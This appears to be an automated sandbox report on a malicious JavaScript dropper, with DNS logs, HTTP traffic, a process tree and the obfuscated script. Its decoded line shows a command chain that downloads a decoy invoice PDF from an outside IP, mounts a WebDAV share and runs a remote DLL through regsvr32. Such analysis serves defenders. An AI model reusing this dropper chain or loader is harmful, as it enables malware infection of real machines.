Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:02.213771105 CET	1.1.1.1	192.168.2.6	0x7a79	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:26.292650938 CET	1.1.1.1	192.168.2.6	0xdb03	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:50.354651928 CET	1.1.1.1	192.168.2.6	0xff8a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	193.143.1.205	80	2960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:18:46.202255011 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:18:47.021711111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:46 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:18:47.021755934 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:18:47.021781921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:18:47.021795034 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:18:47.021807909 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:18:47.021820068 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 02:18:47.021832943 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 02:18:47.021847963 CET	600	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 02:18:47.021955013 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 11, 2025 02:18:47.021965981 CET	224	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?
Jan 11, 2025 02:18:47.026663065 CET	1236	IN	Data Raw: bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 5f 57 3b da 43 eb c7 a2 cb c7 aa fa 33 55 e9 a1 00 76 c4 6a b5 04 3b 2c 1b 43 d5 81 a1 3a 86 36 07 86 de 3c 5e 5f 37 07 77 ce 63 e8 c9 ed 49 13 Data Ascii: Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49733	193.143.1.205	8888	2328	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:18:49.083439112 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:18:49.887953043 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:18:41
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js"
Imagebase:	0x7ff665c10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:18:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Imagebase:	0x7ff7510e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:18:42
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:18:42
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:18:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:18:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7510e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:18:48
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7628b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:18:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:18:49
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:18:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1532,i,8303843229215920734,14092026120147392141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jgplea() {	jgplea() ➔ undefined
1	wghdpxkdo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mqwwdzk = this[nnjzezkzs + oxvyl + kggrylv + pfauj + lvgwu + yuqlh + yhtgd + mxnmjzf] ( this[skpjus + dnuvn + dljrmmxha + kggrylv + agpobrtm + nnjzezkzs + mxnmjzf][imktjwxjh + kggrylv + lvgwu + oxvyl + mxnmjzf + lvgwu + pwvoavsa + nwvay + aixjlzt + lvgwu + dljrmmxha + mxnmjzf] ( skpjus + dnuvn + dljrmmxha + kggrylv + agpobrtm + nnjzezkzs + mxnmjzf + cwuwqx + dnuvn + fvxej + lvgwu + nnomjxo + nnomjxo ) [ezcszk + lvgwu + pyjatfgg + ezcszk + lvgwu + oxvyl + ztteirzs] ( vrkaovuoq + seaigslaf + yzngqopng + ybmzwwjs + imfjvc + imktjwxjh + qcizjpfc + ezcszk + ezcszk + yzngqopng + zxqvzh + jibulouwa + imfjvc + qcizjpfc + dnuvn + yzngqopng + ezcszk + kzffqh + imktjwxjh + ehsrbkqxk + yhtgd + mxnmjzf + kggrylv + ehsrbkqxk + nnomjxo + ekdhkqb + rcxnzqrsv + oxvyl + yhtgd + lvgwu + nnomjxo + kzffqh + yuqlh + yhtgd + mxnmjzf + lvgwu + kggrylv + yhtgd + oxvyl + mxnmjzf + agpobrtm + ehsrbkqxk + yhtgd + oxvyl + nnomjxo + kzffqh + sdliwqlgj + ehsrbkqxk + dljrmmxha + oxvyl + nnomjxo + lvgwu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zzrtylf = 0 ; zzrtylf < wghdpxkdo[nnomjxo + lvgwu + yhtgd + pyjatfgg + mxnmjzf + fvxej] ; ++ zzrtylf )
4	{
5	if ( mqwwdzk == wghdpxkdo[zzrtylf] )
6	{
7	mqwwdzk = true;
8	break ;
9	}
10	}
11	if ( mqwwdzk !== true )
12	this[skpjus + dnuvn + dljrmmxha + kggrylv + agpobrtm + nnjzezkzs + mxnmjzf][mjofrp + sxnmha + agpobrtm + mxnmjzf] ( );
13	this[skpjus + dnuvn + dljrmmxha + kggrylv + agpobrtm + nnjzezkzs + mxnmjzf][imktjwxjh + kggrylv + lvgwu + oxvyl + mxnmjzf + lvgwu + pwvoavsa + nwvay + aixjlzt + lvgwu + dljrmmxha + mxnmjzf] ( skpjus + dnuvn + dljrmmxha + kggrylv + agpobrtm + nnjzezkzs + mxnmjzf + cwuwqx + dnuvn + fvxej + lvgwu + nnomjxo + nnomjxo ) [kggrylv + sxnmha + yhtgd] ( dljrmmxha + mopqbbubo + ztteirzs + ekdhkqb + swxfwwun + dljrmmxha + ekdhkqb + nnjzezkzs + ehsrbkqxk + ienql + lvgwu + kggrylv + pfauj + fvxej + lvgwu + nnomjxo + nnomjxo + cwuwqx + lvgwu + jwekdelu + lvgwu + ekdhkqb + yqcquuyrm + imktjwxjh + ehsrbkqxk + mopqbbubo + mopqbbubo + oxvyl + yhtgd + ztteirzs + ekdhkqb + lscjmgm + yuqlh + yhtgd + aqdagvny + ehsrbkqxk + ckiobq + lvgwu + yqcquuyrm + skpjus + lvgwu + nwvay + ezcszk + lvgwu + xgfwscwwh + sxnmha + lvgwu + pfauj + mxnmjzf + ekdhkqb + yqcquuyrm + pwvoavsa + sxnmha + mxnmjzf + fnprtija + agpobrtm + nnomjxo + lvgwu + ekdhkqb + wfkjy + mxnmjzf + lvgwu + mopqbbubo + nnjzezkzs + wfkjy + kzffqh + agpobrtm + yhtgd + aqdagvny + ehsrbkqxk + agpobrtm + dljrmmxha + lvgwu + cwuwqx + nnjzezkzs + ztteirzs + dqagncdu + ekdhkqb + fvxej + mxnmjzf + mxnmjzf + nnjzezkzs + kaqnjhi + swxfwwun + swxfwwun + erpleh + agnpulpu + ignug + cwuwqx + erpleh + anflt + ignug + cwuwqx + erpleh + cwuwqx + whxfqu + mcwxrji + zelnoryr + swxfwwun + agpobrtm + yhtgd + aqdagvny + ehsrbkqxk + agpobrtm + dljrmmxha + lvgwu + cwuwqx + nnjzezkzs + fvxej + nnjzezkzs + lscjmgm + dfipcy + dfipcy + pfauj + mxnmjzf + oxvyl + kggrylv + mxnmjzf + ekdhkqb + wfkjy + mxnmjzf + lvgwu + mopqbbubo + nnjzezkzs + wfkjy + kzffqh + agpobrtm + yhtgd + aqdagvny + ehsrbkqxk + agpobrtm + dljrmmxha + lvgwu + cwuwqx + nnjzezkzs + ztteirzs + dqagncdu + dfipcy + dfipcy + dljrmmxha + mopqbbubo + ztteirzs + ekdhkqb + swxfwwun + dljrmmxha + ekdhkqb + yhtgd + lvgwu + mxnmjzf + ekdhkqb + sxnmha + pfauj + lvgwu + ekdhkqb + kzffqh + kzffqh + erpleh + agnpulpu + ignug + cwuwqx + erpleh + anflt + ignug + cwuwqx + erpleh + cwuwqx + whxfqu + mcwxrji + zelnoryr + iphstguy + uonck + uonck + uonck + uonck + kzffqh + ztteirzs + oxvyl + aqdagvny + ienql + ienql + ienql + kggrylv + ehsrbkqxk + ehsrbkqxk + mxnmjzf + kzffqh + dfipcy + dfipcy + dljrmmxha + mopqbbubo + ztteirzs + ekdhkqb + swxfwwun + dljrmmxha + ekdhkqb + kggrylv + lvgwu + pyjatfgg + pfauj + aqdagvny + kggrylv + ignug + whxfqu + ekdhkqb + swxfwwun + pfauj + ekdhkqb + kzffqh + kzffqh + erpleh + agnpulpu + ignug + cwuwqx + erpleh + anflt + ignug + cwuwqx + erpleh + cwuwqx + whxfqu + mcwxrji + zelnoryr + iphstguy + uonck + uonck + uonck + uonck + kzffqh + ztteirzs + oxvyl + aqdagvny + ienql + ienql + ienql + kggrylv + ehsrbkqxk + ehsrbkqxk + mxnmjzf + kzffqh + uonck + dthehpjlk + zelnoryr + mcwxrji + whxfqu + anflt + agnpulpu + zelnoryr + ignug + ignug + mcwxrji + uonck + anflt + ignug + cwuwqx + ztteirzs + nnomjxo + nnomjxo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll",0,false) ➔ 0
14	}
15	seaigslaf = "o";
16	seaigslaf = "u";
17	seaigslaf = "Y";
18	seaigslaf = "x";
19	seaigslaf = "U";
20	seaigslaf = "d";
21	seaigslaf = "u";
22	seaigslaf = "R";
23	seaigslaf = "m";
24	seaigslaf = "I";
25	seaigslaf = "R";
26	seaigslaf = "A";
